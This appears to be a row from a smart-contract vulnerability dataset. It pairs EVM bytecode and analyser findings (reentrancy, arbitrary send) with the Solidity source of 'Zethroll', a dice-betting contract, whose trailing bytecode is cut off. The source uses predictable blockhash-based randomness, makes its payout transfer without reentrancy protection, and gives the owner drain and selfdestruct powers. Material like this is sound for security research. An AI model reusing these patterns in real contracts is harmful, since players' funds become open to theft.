0473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e8a57600080fd5b6000479050610e98816117cb565b50565b6000610edd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611837565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f54906125f4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fc4906124f4565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110ab9190612614565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611128576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111f906125d4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611198576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118f906124b4565b60405180910390fd5b600081116111db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d2906125b4565b60405180910390fd5b6111e3610ca6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112515750611221610ca6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561146157600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156113015750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156113575750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156113a157600a5481106113a0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139790612554565b60405180910390fd5b5b60006113ac30610b02565b9050600c60159054906101000a900460ff161580156114195750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156114315750600c60169054906101000a900460ff165b1561145f5761143f816114d5565b6000479050670de0b6b3a7640000811061145d5761145c476117cb565b5b505b505b61146c83838361189a565b505050565b60008383111582906114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b09190612492565b60405180910390fd5b50600083856114c8919061294b565b9050809150509392505050565b6001600c60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561150d5761150c612aa6565b5b60405190808252806020026020018201604052801561153b5781602001602082028036833780820191505090505b509050308160008151811061155357611552612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156115f557600080fd5b505afa158015611609573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061162d9190611f72565b8160018151811061164157611640612a77565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506116a830600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610eed565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161170c95949392919061262f565b600060405180830381600087803b15801561172657600080fd5b505af115801561173a573d6000803e3d6000fd5b50505050506000600c60156101000a81548160ff02191690831515021790555050565b60006005548211156117a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179b906124d4565b60405180910390fd5b60006117ae6118aa565b90506117c38184610e9b90919063ffffffff16565b915050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611833573d6000803e3d6000fd5b5050565b6000808311829061187e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118759190612492565b60405180910390fd5b506000838561188d919061274f565b9050809150509392505050565b6118a58383836118d5565b505050565b60008060006118b7611aa0565b915091506118ce8183610e9b90919063ffffffff16565b9250505090565b6000806000806000806118e787611b3b565b95509550955095509550955061194586600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ba390919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506119da85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611a2681611c4b565b611a308483611d08565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611a8d9190612614565b60405180910390a3505050505050505050565b6000806000600554905060006006600a611aba91906127d3565b6305f5e100611ac991906128f1565b9050611afc6006600a611adc91906127d3565b6305f5e100611aeb91906128f1565b600554610e9b90919063ffffffff16565b821015611b2e576005546006600a611b1491906127d3565b6305f5e100611b2391906128f1565b935093505050611b37565b81819350935050505b9091565b6000806000806000806000806000611b588a600754600854611d42565b9250925092506000611b686118aa565b90506000806000611b7b8e878787611dd8565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611be583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611471565b905092915050565b6000808284611bfc91906126f9565b905083811015611c41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c3890612534565b60405180910390fd5b8091505092915050565b6000611c556118aa565b90506000611c6c8284611e6190919063ffffffff16565b9050611cc081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611bed90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611d1d82600554611ba390919063ffffffff16565b600581905550611d3881600654611bed90919063ffffffff16565b6006819055505050565b600080600080611d6e6064611d60888a611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611d986064611d8a888b611e6190919063ffffffff16565b610e9b90919063ffffffff16565b90506000611dc182611db3858c611ba390919063ffffffff16565b611ba390919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611df18589611e6190919063ffffffff16565b90506000611e088689611e6190919063ffffffff16565b90506000611e1f8789611e6190919063ffffffff16565b90506000611e4882611e3a8587611ba390919063ffffffff16565b611ba390919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611e745760009050611ed6565b60008284611e8291906128f1565b9050828482611e91919061274f565b14611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec890612574565b60405180910390fd5b809150505b92915050565b600081359050611eeb81612dc5565b92915050565b600081519050611f0081612dc5565b92915050565b600081519050611f1581612ddc565b92915050565b600081359050611f2a81612df3565b92915050565b600081519050611f3f81612df3565b92915050565b600060208284031215611f5b57611f5a612ad5565b5b6000611f6984828501611edc565b91505092915050565b600060208284031215611f8857611f87612ad5565b5b6000611f9684828501611ef1565b91505092915050565b60008060408385031215611fb657611fb5612ad5565b5b6000611fc485828601611edc565b9250506020611fd585828601611edc565b9150509250929050565b600080600060608486031215611ff857611ff7612ad5565b5b600061200686828701611edc565b935050602061201786828701611edc565b925050604061202886828701611f1b565b9150509250925092565b6000806040838503121561204957612048612ad5565b5b600061205785828601611edc565b925050602061206885828601611f1b565b9150509250929050565b60006020828403121561208857612087612ad5565b5b600061209684828501611f06565b91505092915050565b6000602082840312156120b5576120b4612ad5565b5b60006120c384828501611f1b565b91505092915050565b6000806000606084860312156120e5576120e4612ad5565b5b60006120f386828701611f30565b935050602061210486828701611f30565b925050604061211586828701611f30565b9150509250925092565b600061212b8383612137565b60208301905092915050565b6121408161297f565b82525050565b61214f8161297f565b82525050565b6000612160826126b4565b61216a81856126d7565b9350612175836126a4565b8060005b838110156121a657815161218d888261211f565b9750612198836126ca565b925050600181019050612179565b5085935050505092915050565b6121bc81612991565b82525050565b6121cb816129d4565b82525050565b60006121dc826126bf565b6121e681856126e8565b93506121f68185602086016129e6565b6121ff81612ada565b840191505092915050565b60006122176023836126e8565b915061222282612af8565b604082019050919050565b600061223a602a836126e8565b915061224582612b47565b604082019050919050565b600061225d6022836126e8565b915061226882612b96565b604082019050919050565b60006122806017836126e8565b915061228b82612be5565b602082019050919050565b60006122a3601b836126e8565b91506122ae82612c0e565b602082019050919050565b60006122c6601a836126e8565b91506122d182612c37565b602082019050919050565b60006122e96021836126e8565b91506122f482612c60565b604082019050919050565b600061230c6020836126e8565b915061231782612caf565b602082019050919050565b600061232f6029836126e8565b915061233a82612cd8565b604082019050919050565b60006123526025836126e8565b915061235d82612d27565b604082019050919050565b60006123756024836126e8565b915061238082612d76565b604082019050919050565b612394816129bd565b82525050565b6123a3816129c7565b82525050565b60006020820190506123be6000830184612146565b92915050565b60006040820190506123d96000830185612146565b6123e66020830184612146565b9392505050565b60006040820190506124026000830185612146565b61240f602083018461238b565b9392505050565b600060c08201905061242b6000830189612146565b612438602083018861238b565b61244560408301876121c2565b61245260608301866121c2565b61245f6080830185612146565b61246c60a083018461238b565b979650505050505050565b600060208201905061248c60008301846121b3565b92915050565b600060208201905081810360008301526124ac81846121d1565b905092915050565b600060208201905081810360008301526124cd8161220a565b9050919050565b600060208201905081810360008301526124ed8161222d565b9050919050565b6000602082019050818103600083015261250d81612250565b9050919050565b6000602082019050818103600083015261252d81612273565b9050919050565b6000602082019050818103600083015261254d81612296565b9050919050565b6000602082019050818103600083015261256d816122b9565b9050919050565b6000602082019050818103600083015261258d816122dc565b9050919050565b600060208201905081810360008301526125ad816122ff565b9050919050565b600060208201905081810360008301526125cd81612322565b9050919050565b600060208201905081810360008301526125ed81612345565b9050919050565b6000602082019050818103600083015261260d81612368565b9050919050565b6000602082019050612629600083018461238b565b92915050565b600060a082019050612644600083018861238b565b61265160208301876121c2565b81810360408301526126638186612155565b90506126726060830185612146565b61267f608083018461238b565b9695505050505050565b600060208201905061269e600083018461239a565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612704826129bd565b915061270f836129bd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561274457612743612a19565b5b828201905092915050565b600061275a826129bd565b9150612765836129bd565b92508261277557612774612a48565b5b828204905092915050565b6000808291508390505b60018511156127ca578086048111156127a6576127a5612a19565b5b60018516156127b55780820291505b80810290506127c385612aeb565b945061278a565b94509492505050565b60006127de826129bd565b91506127e9836129c7565b92506128167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461281e565b905092915050565b60008261282e57600190506128ea565b8161283c57600090506128ea565b8160018114612852576002811461285c5761288b565b60019150506128ea565b60ff84111561286e5761286d612a19565b5b8360020a91508482111561288557612884612a19565b5b506128ea565b5060208310610133831016604e8410600b84101617156128c05782820a9050838111156128bb576128ba612a19565b5b6128ea565b6128cd8484846001612780565b925090508184048111156128e4576128e3612a19565b5b81810290505b9392505050565b60006128fc826129bd565b9150612907836129bd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156129405761293f612a19565b5b828202905092915050565b6000612956826129bd565b9150612961836129bd565b92508282101561297457612973612a19565b5b828203905092915050565b600061298a8261299d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006129df826129bd565b9050919050565b60005b83811015612a045780820151818401526020810190506129e9565b83811115612a13576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612dce8161297f565b8114612dd957600080fd5b50565b612de581612991565b8114612df057600080fd5b50565b612dfc816129bd565b8114612e0757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dfb0383c69f3180dccda00c5156d4f8b8aee365bbca55922269cc2e12a4d53bc64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,938 |
0x5fd6607dedf3837cbb9d0cd8aca2aab298032bff
|
pragma solidity ^0.4.23;
/*
* Zethroll.
*
* Adapted from PHXRoll, written in March 2018 by TechnicalRise:
* https://www.reddit.com/user/TechnicalRise/
*
* Gas golfed by Etherguy
*/
contract ZTHReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool);
}
contract ZTHInterface {
function getFrontEndTokenBalanceOf(address who) public view returns (uint);
function transfer(address _to, uint _value) public returns (bool);
function approve(address spender, uint tokens) public returns (bool);
}
contract Zethroll is ZTHReceivingContract {
using SafeMath for uint;
/*
* checks player profit, bet size and player number is within range
*/
modifier betIsValid(uint _betSize, uint _playerNumber) {
require( calculateProfit(_betSize, _playerNumber) < maxProfit
&& _betSize >= minBet
&& _playerNumber > minNumber
&& _playerNumber < maxNumber);
_;
}
// Requires game to be currently active
modifier gameIsActive {
require(gamePaused == false);
_;
}
// Requires msg.sender to be owner
modifier onlyOwner {
require(msg.sender == owner);
_;
}
// Constants
uint constant private MAX_INT = 2 ** 256 - 1;
uint constant public maxProfitDivisor = 1000000;
uint constant public maxNumber = 100;
uint constant public minNumber = 2;
uint constant public houseEdgeDivisor = 1000;
// Configurables
bool public gamePaused;
address public owner;
address public bankroll;
address public ZTHTKNADDR;
ZTHInterface public ZTHTKN;
uint public contractBalance;
uint public houseEdge;
uint public maxProfit;
uint public maxProfitAsPercentOfHouse;
uint public minBet = 0;
// Events
// Logs bets + output to web3 for precise 'payout on win' field in UI
event LogBet(address sender, uint value, uint rollUnder);
// Outputs to web3 UI on bet result
// Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send
event LogResult(address player, uint result, uint rollUnder, uint profit, uint tokensBetted, bool won);
// Logs owner transfers
event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred);
// Logs changes in maximum profit
event MaxProfitChanged(uint _oldMaxProfit, uint _newMaxProfit);
// Logs current contract balance
event CurrentContractBalance(uint _tokens);
address ZethrBankroll;
constructor (address zthtknaddr, address zthbankrolladdr) public {
// Owner is deployer
owner = msg.sender;
// Initialize the ZTH contract and bankroll interfaces
ZTHTKN = ZTHInterface(zthtknaddr);
ZTHTKNADDR = zthtknaddr;
ZethrBankroll = zthbankrolladdr;
// Init 990 = 99% (1% houseEdge)
houseEdge = 990;
// The maximum profit from each bet is 1% of the contract balance.
ownerSetMaxProfitAsPercentOfHouse(10000);
// Init min bet (1 ZTH)
ownerSetMinBet(1e18);
// Allow 'unlimited' token transfer by the bankroll
ZTHTKN.approve(zthbankrolladdr, MAX_INT);
// Set the bankroll
bankroll = zthbankrolladdr;
}
function() public payable {} // receive zethr dividends
// Returns a random number using a specified block number
// Always use a FUTURE block number.
function maxRandom(uint blockn, address entropy) public view returns (uint256 randomNumber) {
return uint256(keccak256(
abi.encodePacked(
blockhash(blockn),
entropy)
));
}
// Random helper
function random(uint256 upper, uint256 blockn, address entropy) internal view returns (uint256 randomNumber) {
return maxRandom(blockn, entropy) % upper;
}
/*
* TODO comment this Norsefire, I have no idea how it works
*/
function calculateProfit(uint _initBet, uint _roll)
private
view
returns (uint)
{
return ((((_initBet * (101 - (_roll.sub(1)))) / (_roll.sub(1)) + _initBet)) * houseEdge / houseEdgeDivisor) - _initBet;
}
/*
* public function
* player submit bet
* only if game is active & bet is valid
*/
event Debug(uint a, string b);
// i present a struct which takes only 20k gas
struct playerRoll{
uint200 tokenValue; // token value in uint
//address player; // dont need to save this get this from msg.sender OR via mapping
uint48 blockn; // block number 48 bits
uint8 rollUnder; // roll under 8 bits
}
mapping(address => playerRoll) public playerRolls;
function _playerRollDice(uint _rollUnder, TKN _tkn) private
gameIsActive
betIsValid(_tkn.value, _rollUnder)
{
require(_tkn.value < ((2 ** 200) - 1)); // smaller than the storage of 1 uint200;
//require(_rollUnder < 255); // smaller than the storage of 1 uint8 [max roll under 100, checked in betIsValid]
require(block.number < ((2 ** 48) - 1)); // current block number smaller than storage of 1 uint48
// Note that msg.sender is the Token Contract Address
// and "_from" is the sender of the tokens
// Check that this is a non-contract sender
// contracts btfo we use next block need 2 tx
// russian hackers can use their multisigs too
// require(_humanSender(_tkn.sender));
// Check that this is a ZTH token transfer
require(_zthToken(msg.sender));
playerRoll memory roll = playerRolls[_tkn.sender];
// Cannot bet twice in one block
require(block.number != roll.blockn);
if (roll.blockn != 0) {
_finishBet(false, _tkn.sender);
}
// Increment rngId dont need this saves 5k gas
//rngId++;
// Map bet id to this wager
// one bet per player dont need this 5k gas
//playerBetId[rngId] = rngId;
// Map player lucky number
// save _rollUnder twice? no.
// 5k gas
//playerNumber[rngId] = _rollUnder;
// Map value of wager
// not necessary we already save _tkn; 10k save
//playerBetValue[rngId] = _tkn.value;
// Map player address
// dont need this 5k gas
//playerAddress[rngId] = _tkn.sender;
// Safely map player profit
// dont need this 5k gas
//playerProfit[rngId] = 0;
roll.blockn = uint40(block.number);
roll.tokenValue = uint200(_tkn.value);
roll.rollUnder = uint8(_rollUnder);
playerRolls[_tkn.sender] = roll; // write to storage. 20k
// Provides accurate numbers for web3 and allows for manual refunds
emit LogBet(_tkn.sender, _tkn.value, _rollUnder);
// Increment total number of bets
// dont need this 5k gas
//totalBets += 1;
// Total wagered
// dont need this 5k gas
//totalZTHWagered += playerBetValue[rngId];
}
function finishBet() public
gameIsActive
{
_finishBet(true, msg.sender);
}
/*
* Pay winner, update contract balance
* to calculate new max bet, and send reward.
*/
function _finishBet(bool delete_it, address target) private {
playerRoll memory roll = playerRolls[target];
require(roll.tokenValue > 0); // no re-entracy
// If the block is more than 255 blocks old, we can't get the result
// Also, if the result has alread happened, fail as well
uint result;
if (block.number - roll.blockn > 255) {
// dont need this; 5k
//playerDieResult[_rngId] = 1000;
result = 1000; // cant win
// Fail
} else {
// dont need this; 5k;
//playerDieResult[_rngId] = random(100, playerBlock[_rngId]) + 1;
result = random(100, roll.blockn, target) + 1;
}
// Null out this bet so it can't be used again.
//playerBlock[_rngId] = 0;
// emit Debug(playerDieResult[_rngId], 'LuckyNumber');
uint rollUnder = roll.rollUnder;
if (result < rollUnder) {
// Player has won!
// Safely map player profit
// dont need this; 5k
//playerProfit[_rngId] = calculateProfit(_tkn.value, _rollUnder);
uint profit = calculateProfit(roll.tokenValue, rollUnder);
// Safely reduce contract balance by player profit
contractBalance = contractBalance.sub(profit);
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, true);
// Update maximum profit
setMaxProfit();
if (delete_it){
// prevent re-entracy memes;
delete playerRolls[target];
}
// Transfer profit plus original bet
ZTHTKN.transfer(target, profit + roll.tokenValue);
} else {
/*
* Player has lost
* Update contract balance to calculate new max bet
*/
emit LogResult(target, result, rollUnder, profit, roll.tokenValue, false);
/*
* Safely adjust contractBalance
* SetMaxProfit
*/
contractBalance = contractBalance.add(roll.tokenValue);
// no need to actually delete player roll here since player ALWAYS loses
// saves gas on next buy
// Update maximum profit
setMaxProfit();
}
//result = playerDieResult[_rngId];
//return result;
}
struct TKN {address sender; uint value;}
function tokenFallback(address _from, uint _value, bytes _data) public returns (bool) {
if (_from == bankroll) {
// Update the contract balance
contractBalance = contractBalance.add(_value);
// Update the maximum profit
uint oldMaxProfit = maxProfit;
setMaxProfit();
emit MaxProfitChanged(oldMaxProfit, maxProfit);
return true;
} else {
TKN memory _tkn;
_tkn.sender = _from;
_tkn.value = _value;
uint chosenNumber = uint(_data[0]);
_playerRollDice(chosenNumber, _tkn);
}
return true;
}
/*
* Sets max profit
*/
function setMaxProfit() internal {
emit CurrentContractBalance(contractBalance);
maxProfit = (contractBalance * maxProfitAsPercentOfHouse) / maxProfitDivisor;
}
// Only owner adjust contract balance variable (only used for max profit calc)
function ownerUpdateContractBalance(uint newContractBalance) public
onlyOwner
{
contractBalance = newContractBalance;
}
// Only owner address can set maxProfitAsPercentOfHouse
function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public
onlyOwner
{
// Restricts each bet to a maximum profit of 1% contractBalance
require(newMaxProfitAsPercent <= 10000);
maxProfitAsPercentOfHouse = newMaxProfitAsPercent;
setMaxProfit();
}
// Only owner address can set minBet
function ownerSetMinBet(uint newMinimumBet) public
onlyOwner
{
minBet = newMinimumBet;
}
// Only owner address can transfer ZTH
function ownerTransferZTH(address sendTo, uint amount) public
onlyOwner
{
// Safely update contract balance when sending out funds
contractBalance = contractBalance.sub(amount);
// update max profit
setMaxProfit();
require(ZTHTKN.transfer(sendTo, amount));
emit LogOwnerTransfer(sendTo, amount);
}
// Only owner address can set emergency pause #1
function ownerPauseGame(bool newStatus) public
onlyOwner
{
gamePaused = newStatus;
}
// Only owner address can set bankroll address
function ownerSetBankroll(address newBankroll) public
onlyOwner
{
ZTHTKN.approve(bankroll, 0);
bankroll = newBankroll;
ZTHTKN.approve(newBankroll, MAX_INT);
}
// Only owner address can set owner address
function ownerChangeOwner(address newOwner) public
onlyOwner
{
owner = newOwner;
}
// Only owner address can selfdestruct - emergency
function ownerkill() public
onlyOwner
{
ZTHTKN.transfer(owner, contractBalance);
selfdestruct(owner);
}
function dumpdivs() public{
ZethrBankroll.transfer(address(this).balance);
}
function _zthToken(address _tokenContract) private view returns (bool) {
return _tokenContract == ZTHTKNADDR;
// Is this the ZTH token contract?
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint a, uint b) internal pure returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061015e5763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416630c657eb081146101605780630dda350f14610191578063219df7ee146101a657806323214fab146101bb5780633a4f6999146101e25780634025b5a8146101f757806343c1598d1461020f5780634f44728d1461022457806355b93031146102455780635e968a491461025a57806361990759146102725780636cdf4c90146102965780636eacd48a146102ae5780637c67ffe7146102c85780638701a2f0146102e95780638b7afe2e146102fe5780638da5cb5b146103135780639619367d14610328578063b539cd551461033d578063c0ee0b8a14610352578063c3de1ab9146103cf578063ca9defb7146103e4578063ccd50d2814610408578063d263b7eb1461045b578063d667dcd714610470578063e5c774de14610485578063f21502e51461049a575b005b34801561016c57600080fd5b506101756104af565b60408051600160a060020a039092168252519081900360200190f35b34801561019d57600080fd5b5061015e6104be565b3480156101b257600080fd5b506101756104fb565b3480156101c757600080fd5b506101d061050a565b60408051918252519081900360200190f35b3480156101ee57600080fd5b506101d0610510565b34801561020357600080fd5b5061015e600435610515565b34801561021b57600080fd5b506101d0610536565b34801561023057600080fd5b5061015e600160a060020a036004351661053d565b34801561025157600080fd5b506101d061058e565b34801561026657600080fd5b5061015e600435610593565b34801561027e57600080fd5b506101d0600435600160a060020a03602435166105cb565b3480156102a257600080fd5b5061015e60043561066c565b3480156102ba57600080fd5b5061015e600435151561068d565b3480156102d457600080fd5b5061015e600160a060020a03600435166106bc565b3480156102f557600080fd5b5061015e610839565b34801561030a57600080fd5b506101d0610856565b34801561031f57600080fd5b5061017561085c565b34801561033457600080fd5b506101d0610870565b34801561034957600080fd5b506101d0610876565b34801561035e57600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526103bb948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061087c9650505050505050565b604080519115158252519081900360200190f35b3480156103db57600080fd5b506103bb610958565b3480156103f057600080fd5b5061015e600160a060020a0360043516602435610961565b34801561041457600080fd5b50610429600160a060020a0360043516610a7b565b60408051600160c860020a03909416845265ffffffffffff909216602084015260ff1682820152519081900360600190f35b34801561046757600080fd5b5061015e610ab2565b34801561047c57600080fd5b506101d0610b8c565b34801561049157600080fd5b506101d0610b92565b3480156104a657600080fd5b50610175610b98565b600154600160a060020a031681565b600954604051600160a060020a0390911690303180156108fc02916000818181858888f193505050501580156104f8573d6000803e3d6000fd5b50565b600354600160a060020a031681565b60075481565b606481565b6000546101009004600160a060020a0316331461053157600080fd5b600455565b620f424081565b6000546101009004600160a060020a0316331461055957600080fd5b60008054600160a060020a039092166101000274ffffffffffffffffffffffffffffffffffffffff0019909216919091179055565b600281565b6000546101009004600160a060020a031633146105af57600080fd5b6127108111156105be57600080fd5b60078190556104f8610ba7565b6040805183406020808301919091526c01000000000000000000000000600160a060020a0385160282840152825160348184030181526054909201928390528151600093918291908401908083835b602083106106395780518252601f19909201916020918201910161061a565b5181516020939093036101000a600019018019909116921691909117905260405192018290039091209695505050505050565b6000546101009004600160a060020a0316331461068857600080fd5b600855565b6000546101009004600160a060020a031633146106a957600080fd5b6000805460ff1916911515919091179055565b6000546101009004600160a060020a031633146106d857600080fd5b600354600154604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526000602482018190529151929093169263095ea7b39260448083019360209383900390910190829087803b15801561074c57600080fd5b505af1158015610760573d6000803e3d6000fd5b505050506040513d602081101561077657600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a03838116918217909255600354604080517f095ea7b3000000000000000000000000000000000000000000000000000000008152600481019390935260001960248401525192169163095ea7b3916044808201926020929091908290030181600087803b15801561080a57600080fd5b505af115801561081e573d6000803e3d6000fd5b505050506040513d602081101561083457600080fd5b505050565b60005460ff161561084957600080fd5b610854600133610bee565b565b60045481565b6000546101009004600160a060020a031681565b60085481565b60065481565b6000806108876111b5565b600154600090600160a060020a038881169116141561090a576004546108b3908763ffffffff610eb616565b60045560065492506108c3610ba7565b60065460408051858152602081019290925280517fc515cfc3ee14c6e587c5755cfe9e60d7779b40b2216c63bc3699111dcdd45a8d9281900390910190a16001935061094e565b600160a060020a03871682526020820186905284518590600090811061092c57fe5b016020015160f860020a9081900481020490506109498183610ecc565b600193505b5050509392505050565b60005460ff1681565b6000546101009004600160a060020a0316331461097d57600080fd5b600454610990908263ffffffff61111e16565b60045561099b610ba7565b600354604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038581166004830152602482018590529151919092169163a9059cbb9160448083019260209291908290030181600087803b158015610a0a57600080fd5b505af1158015610a1e573d6000803e3d6000fd5b505050506040513d6020811015610a3457600080fd5b50511515610a4157600080fd5b6040518190600160a060020a038416907f42c501a185f41a8eb77b0a3e7b72a6435ea7aa752f8a1a0a13ca4628495eca9190600090a35050565b600a60205260009081526040902054600160c860020a0381169060c860020a810465ffffffffffff169060f860020a900460ff1683565b6000546101009004600160a060020a0316331461